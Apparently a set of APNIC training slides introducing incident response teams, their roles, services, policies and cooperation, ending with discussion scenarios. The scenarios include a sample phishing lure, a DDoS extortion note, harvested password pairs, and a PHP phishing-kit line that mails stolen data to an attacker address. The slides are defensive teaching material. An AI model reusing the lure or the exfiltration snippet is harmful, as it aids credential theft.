APNIC e-Learning:

Introduction to Computer Security & Incident Response Teams (CSIRTs)

1 February 2017
1:00 PM AEST Brisbane (UTC+10)
Introduction
Security Initiatives @ APNIC

• Target Audience
  – Primarily Network Operators & Service Providers, APNIC members
  – Collaboration with APCERT, FIRST, INTERPOL and many other organisations

• Activities
  – Training
  – Security Track or Events @ APRICOT and APNIC Conference
  – Presentation at Security Conferences

More Information: http://www.apnic.net/security
Overview

- Cyber Security in General
- Security Incidents
- Incident Response & CSIRTs
- Policies and SOPs
- Collaboration & Interaction with Others
- Learning More about CSIRT
Cyber Security In A Nutshell
Cyber Security In A Nutshell

• Addressing the CIA
  – Confidentiality, Integrity, Availability

• Part of Risk Management
  – Risk = Threats x Vulnerabilities
  – Dealing with the Known & and Unknown
  – Understand priorities, strategy for dealing with risks

• Cyber Security Program
  – Different Areas
  – Including Incident Response
Cyber Security

• People, Process, Technology
  – Security Awareness
  – Detection, Prevention & Response

• Security is a Process - Continuous Approach
  – Including Learning from Incidents
  – Applying Best Current Practices

• Cyber Security Framework, Strategies
  – Preparedness & Readiness
What is a CSIRT?
Security Incident

• A computer security incident is a violation or imminent threat of violation of computer security policies, acceptable use policies, or standard security practices

• Examples:
  – An attacker commands a botnet to send high volumes of connection requests to a web server, causing it to crash
  – Users are tricked into opening a “quarterly report” sent via email that is actually malware; running the tool has infected their computers and established connections with an external host.
  – An attacker obtains sensitive data and threatens that the details will be released publicly if the organization does not pay a designated sum of money.

(Source: NIST SP800-61 Incident Handling Guide)
Example of Security Incidents

- Malware causing financial loss or loss of data
  - Point-of-Sales Malware
  - Banking Trojans
  - Ransomware

- Data Breaches in organizations
  - Customer Information / Confidential Information
  - Intellectual Property Loss

- Critical Vulnerabilities in software that could potentially lead to system compromise and information disclosure

- Distributed Denial of Service attacks


- Security Update from CERTs in the region (@APRICOT2015)
  - APNIC Youtube Page
Security Incidents – Different Views

• Impact Based
  – Disclosure of Information
  – Systems Integrity
  – Unauthorized Access
  – Denial of Service

• Attacks of Incidents are caused by or through:
  – Malware
  – Spam
  – Web
  – Network

• What about:
  – Motives
  – Actors – “Script Kiddies”, “Nation States”
CSIRT / CERT

• Computer Security Incident Response Team or Computer Emergency Response Teams

• A CSIRT performs, coordinates, and supports the response to security incidents that involve sites within a defined constituency

• Must react to reported security incidents or threat faced by the constituency

• In ways which the specific community agrees to be in its general interest

• T = Team = Organisation that does IR work!
Constituency

• A CSIRT serves its constituent
• Constituency help defines:
  – What is the purpose & nature of the CSIRT
  – Who is the CSIRT Serving
  – What types of security incidents the CSIRT handles
  – What are the relationship with other CSIRTs

• Example of Constituencies:
  – Enterprise / Single Organization
  – Sector Based
  – Critical Infrastructure
  – Product
  – National / Country
  – Customer

• Constituencies might overlap
  – Co-ordination is key
  – CSIRT of the “Last Resort”
Different Types of CSIRTs

• **Enterprise CSIRTs**
  – provide incident handling services to their parent organization. This could be a CSIRT for a bank, a manufacturing company, a university, or a federal agency.

• **National CSIRTs**
  – provide incident handling services to a country.

• **Coordination Centers**
  – coordinate and facilitate the handling of incidents across various CSIRTs. Examples include the CERT Coordination Center or the United States Computer Emergency Readiness Team (US-CERT).

• **Analysis Centers**
  – focus on synthesizing data from various sources to determine trends and patterns in incident activity. This information can be used to help predict future activity or to provide early warning when the activity matches a set of previously determined characteristics.

• **Vendor Teams**
  – handle reports of vulnerabilities in their software or hardware products. They may work within the organization to determine if their products are vulnerable and to develop remediation and mitigation strategies. A vendor team may also be the internal CSIRT for a vendor organization.

• **Incident Response Providers**
  – offer incident handling services as a for-fee service to other organizations.

Why a CSIRT?
Why a CSIRT?

• Security Incidents Happen!
  – Execute incident response plans
  – Assurance to customers and stakeholders
  – Best Practice

• Mitigate Loss or Damage
  – Point of Contact
  – Governance

• Compliance to Standards
  – Cyber Security Framework
  – ISO 27001, ITIL
  – Compliance with Law or Regulations

• Security Improvements
  – Analyze Incidents and Provide Lessons Learned

• Resource Allocation
  – Dedicated Service(s)
  – Human Resources, Skills
  – Specific Polices and SOPs
  – Point of Contact
Whois Database: Incident Response Team
Object
inetnum: 1.1.1.0 - 1.1.1.255
netname: APNIC-LABS
descr: Research prefix for APNIC Labs
descr: APNIC
country: AU
admin-c: AR302-AP
tech-c: AR302-AP
mnt-by: APNIC-HM
mnt-routes: MAINT-AU-APNIC-GM85-AP
mnt-irt: IRT-APNICRANDNET-AU
status: ASSIGNED PORTABLE
changed: hm-changed@apnic.net 20140507
changed: hm-changed@apnic.net 20140512
source: APNIC

irt: IRT-APNICRANDNET-AU
address: PO Box 3646
address: South Brisbane, QLD 4101
address: Australia
e-mail: abuse@apnic.net
abuse-mailbox: abuse@apnic.net
admin-c: AR302-AP
tech-c: AR302-AP
auth: # Filtered
mnt-by: MAINT-AU-APNIC-GM85-AP
changed: hm-changed@apnic.net 20110922
source: APNIC
# FIRST Member Database

## BGD e–Gov CIRT

### Team Information

<table>
<thead>
<tr>
<th><strong>Team Name</strong></th>
<th>BGD e-Gov CIRT</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Official Team Name</strong></td>
<td>Bangladesh e-Government Computer Incident Response Team</td>
</tr>
<tr>
<td><strong>Date of membership approval</strong></td>
<td>2016-05-22</td>
</tr>
</tbody>
</table>

**Host organization**

Bangladesh Computer Council

**Country of Team**

Bangladesh

**Date of establishment**

2016-01-11

### Team contact information

<table>
<thead>
<tr>
<th><strong>Regular telephone number</strong></th>
<th>+88-02-818-1392</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>+88-01-670-974-703</td>
</tr>
<tr>
<td></td>
<td>+88029124626 (fax)</td>
</tr>
<tr>
<td></td>
<td>+88029124626</td>
</tr>
</tbody>
</table>

**Emergency telephone number**

+88-01-670-974-703

**E-mail address**

cirt@cirt.gov.bd

**Facsimile number**

+88029124626

**Postal address**

Room#311 (LICT/5), Bangladesh Computer Council (BCC), Ministry of Posts, Telecommunication & Information Technology, BCC Bhaban, 14-E/X, Agargaon, Sher-e-Bangla Nagar, Dhaka-1207

### Business hours

**Timezone**

GMT+6

**Specification of business hours**

9:00 AM - 17:00 PM, Sunday to Thursday (Bangladesh Standard time, UTC/GMT +6h, no DST)

**How to contact team outside business hours**

Outside working hours team can be contacted by e-mail

### Constituency

**Type of constituency**

Government & military
Constituency

Type of constituency: Government & military

Description of constituency: all governmental institutions of Bangladesh using the National Data Centre (NDC) infrastructure.

Internet domain address: AS63932, 43.229.12.0/22, 103.48.16.0/22, 114.130.54.0/23, 180.211.213.0/24

Country of constituency: BD

Cryptography

PGP key id: 0x87DD5483

Team PGP public key:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2

mQENBFYU6AYBCAC/rvnS9faNa35ewCY8JYYQ755pHsIjsQqbty14a0DfZka+8DHS
hwupMpKHg54x0pFsF9q3Q9YGvj481zNiEiY8VI/3MSO4xUrQiJaIV5T5RqJIVs8
vgD+L6FWx/x3HgRVhktHALsk49tkrrzAzp8HEKfFoVZQdjqKEkQoS3d0eoA4G05wq
O/G96E/GgdF9DuufJNA5qPkJbI33NEyi0+F/QOqQlvP0gTM0WdP1ebFudWXVY2
2VCvdvdD08euOdmIsTAlJw9KPSKRhd9PX3ratEBHarDnzFML34JQ0T0mIka0prp7
noyz/VBdw3llIOnDaKwJE0KXT03BB/4VJahABEBAAGSIUHRCBLLUdvdiBSVJU
IDxjaXJQGNpcnQuZ29LmJkP0kBOWQTAQIAJQIbAwYLCQgHAwIGFQgcCQoLBBY

Team contact information provided for Incident Response purposes only. FIRST strictly prohibits the use of contact information for solicitation or marketing.

FIRST follows the International Olympic Committee (IOC) country name listings.

More information: https://api.first.org
Incident Response Lifecycle

Figure 3-1. Incident Response Life Cycle
Components of a CSIRT
Policies & SOPs

• Specific for Incident Response & Handling
• Definition of Security Incidents and Related Terms
• Define Scope, Roles & Responsibilities
• Sharing of Information within the organisation or with external parties
• What to do in the event of a security incident
  – Specific SOP for dealing with different types of incidents
  – Forms, Templates, Required information
  – How to reach you outside office hours
• Dealing with Crisis
  – Escalation (Internal & External)
  – Dealing with the Media /Press
• Setting Realistic Expectations
  – Dealing with Service Providers
Incident Response Team Structure

• Team Models
  – Central Incident Response Team
  – Distributed Incident Response Team
  – Co-ordination Team

• Functions / Workflow
  – Incident Reporting
    • Report from internal or external
  – Incident Analysis
    • What is happening, Impact, Patterns
  – Incident Response
    • Containment, Eradication & Recovery
    • Post-Incident Activity / Recommendations
CSIRT Services

- **Incident Handling & Response**
  - Core activity
- **Advisory Distribution**
  - Issue advisory relevant to constituency
- **Education and Awareness**
  - Promoting best practices
  - Policies and SOPs
  - Cyber Security Exercises
- **Information Sharing**
  - i.e. Global / Regional CSIRTs groups, ISACS

- **Other Services**
  - Reactive
  - Proactive
  - Security Quality Management

- **Learn More:**
  - FIRST CSIRT Services Framework
  - [https://www.first.org/_assets/global/FIRST_SIRT_Services_Framework_Version1.0.pdf](https://www.first.org/_assets/global/FIRST_SIRT_Services_Framework_Version1.0.pdf)
Types of Services Example

* Enterprise CSIRT *

<table>
<thead>
<tr>
<th>Proactive Services</th>
<th>Reactive Services</th>
<th>Security Quality Management Services</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Security Alerts</td>
<td>• Vulnerability Handling</td>
<td>• Security Consultation</td>
</tr>
<tr>
<td>• Security Reporting</td>
<td>• Incident Handling</td>
<td>• Security Education</td>
</tr>
<tr>
<td>• Security Diagnosis</td>
<td>• Artifact Handling</td>
<td>• Security Training</td>
</tr>
<tr>
<td>• Monitoring of Websites</td>
<td></td>
<td>• Evaluation of Technologies</td>
</tr>
</tbody>
</table>

Source: NTT-CERT
Tools & Facilities for CSIRT

• Basically two categories of tools
  – Managing Incident Reports
  – Tools for analysis

• Handling & Managing Incidents Reported
  – Able to collect & store incidents reported
  – Track status, produce reports
  – Function of system can be mapped to SOP
  – Encryption tools for secure communication

• Security Incidents Monitoring & Analysis
  – Tools for processing or analyzing logs, binaries, network traffic
  – Forensics Tools
  – Tools for information sharing
  – Labs / Separate resources for analysis / testing
  – Depends on the nature of work or specialists
  – Tools in the Public domains (i.e. Passive DNS)

• Office / Work facilities
  – Secure room, Office facilities

• Good Reference
  – FIRST Membership Site Visit: http://www.first.org-membership/site-visit-V1.0.pdf
Co-operation, Interaction & Disclosure of Information

• CSIRTs normally do not work in isolation

• Co-operation required due to nature of constituency or scope of authority

• Disclosure policy should be clear on how information related to a security incidents will be handled
  – Conflict of Interest
  – Legal Perspective

• Groups that CSIRT normally interact with
  – Other Departments (Internally)
  – Other IRTs
  – Vendor Teams
  – Law Enforcement Agencies
  – Media
Security Response Community

• Trusted is key
• Sharing of threat intelligence
  – Vulnerability Information
  – Indicators of Compromise (IOCs)
  – Analysis / Reports
• Standards & Platforms
• Co-ordinated Response
  – Conficker & DNS-Changer Working Group
• Reach out to the community
  – ShadowServer.org – Threat information about specific network
Cost of Operating a CSIRT

• IR capability is part of the overall cyber security program
• Some of the costs may already have been absorbed by the organisation (or IT)
• The cost tends to vary based on a lot of factors
  – Size of team
  – Services provided
  – Nature of Organisation
  – Skills & Tools availability
• Other consideration from Best Practice Forum for CSIRTs (IGF 2014)
  – Buy-in from Management is important for continuity
  – Capacity Development (Training)
  – Attending Meetings / Conferences
Scenarios
Think About

• How would you handle this incident?
• How do you prioritize the tasks required to handle the incidents?
• What kinds of tools or skills are required to perform analysis?
• If you need assistance, who would you contact?
• If contacted by the media, what do you tell them?
• What are the post-incident activities you would do?
Data Breach Incident

CEO's Laptop → Email with Malicious Attachment → Confidential Information → Command and Control Server → www.web.com

External Website
DDoS Threat

Date: Day, Month 2011
Subject: Partnership
From: Attacker
To: You

Your site does not work because We attack your site. When your company will pay to us we will stop attack. Contact the director. Do not lose clients.
Dear User,
We have introduced a new security feature on our website. Please reactivate your account here: http://www.bla.com.my
p.s This is NOT a Phish Email

Identity Theft / Phishing Example

Login
Password

mark:1234567
joey:cherry2148
boss:abcdefgh123
finance:wky8767
admin:testtest123

<?
$mailto='criminal@gmail.com';
mail($mailto,$subject,$message);
?>
Conclusion
Take-Aways

• Don’t Wait For a Security Incident!
  – How are you addressing Cyber Security in your organisation?

• Review Incident Response & Handling Capabilities
  – Think of Some Scenarios
  – Policies & Procedures
  – Point of Contact (PGP Key)
  – Collaboration / Co-operation with others

• Training & Learning More
  – CSIRT Conferences & Events
  – Best Practices Documents and Guidelines
References

• Recommended
  – RFC 2350  Expectations for Computer Security Incident Response
    • https://www.rfc-editor.org/rfc/rfc2350.txt
  – APCERT (Asia Pacific Computer Emergency Response Team)
    • http://www.apcert.org
  – Forum of Incident and Security Response Teams
    • http://www.first.org
  – European Union Agency for Network & Information Security
    • http://www.enisa.europa.eu/activities/cert
  – NIST.Gov
    • SP 800-61 (Revision 2)  Incident Handling Guide
  – Best Practice Forum @ IGF 2014
    • Establishing and Supporting Computer Emergency Response Teams (CERTs) for Internet Security http://bit.ly/11MwuCI
Questions?

• We’d like to hear your feedback about this course

• Slides / Hand-outs will be available after completing the survey

• Email: Adli Wahid adli@apnict.net for questions 😊
Thank You!

End of Session